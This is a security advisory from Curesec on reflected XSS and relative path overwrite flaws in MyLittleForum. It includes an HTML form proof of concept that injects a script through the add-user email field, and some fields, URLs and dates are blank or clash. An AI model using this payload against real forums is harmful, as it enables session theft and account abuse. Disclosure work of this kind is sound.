MyLittleForum XSS / Path Overwrite

Type packetstorm
Reporter Tim Coen
Modified 2016-11-18T00:00:00


                                            `Security Advisory - Curesec Research Team  
1. Introduction  
Affected Product: MyLittleForum  
Fixed in: 2.3.7beta  
Fixed Version Link:  
Vendor Website:  
Vulnerability Type: XSS & RPO  
Remote Exploitable: Yes  
Reported to vendor: 09/05/2016  
Disclosed to 11/10/2016  
Release mode: Coordinated Release  
CVE: n/a  
Credits Tim Coen of Curesec GmbH  
2. Overview  
MyLittleForum is forum software written in PHP. In version, it is  
vulnerable to reflected cross site scripting as well as relative path  
overwrite. XSS can be used to steal cookies, inject JavaScript keyloggers, or  
bypass CSRF protection, and RPO may lead to CSS injection.  
3. Details  
Reflected XSS  
CVSS: Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N  
Description: The username and email parameter of the add user page are  
vulnerable to reflected XSS.  
Proof of Concept:  
<html> <body> <form action="http://localhost/mylittleforum-"  
method="POST"> <input type="hidden" name="mode" value="admin" /> <input type=  
"hidden" name="ar_username" value="test" /> <input type="hidden" name=  
"ar_email" value="test@example.comle3d4"><script>alert(1)</script>" /> <input  
type="hidden" name="ar_pw" value="test" /> <input type="hidden" name=  
"ar_pw_conf" value="test" /> <input type="hidden" name="register_submit" value=  
"i?1/2A OKi?1/2A " /> <input type="submit" value="Submit request" /> </form> </body> </  
Relative Path Overwrite  
Description: Because the application includes CSS files relative instead of  
absolute, an attacker can overwrite the path. With some browsers, this may lead  
to CSS injection.  
Proof of Concept:  
4. Solution  
To mitigate this issue please upgrade at least to version 2.3.7beta:  
Please note that a newer version might already be available.  
5. Report Timeline  
09/05/2015 Informed Vendor about Issue (no reply)  
09/15/2015 Reminded Vendor of Disclosure Date  
09/15/2015 Vendor replies  
10/04/2015 Vendor releases fix  
11/10/2016 Disclosed to public  
Blog Reference:  
Curesec GmbH  
Curesec Research Team  
Josef-Orlopp-StraAe 54  
10365 Berlin, Germany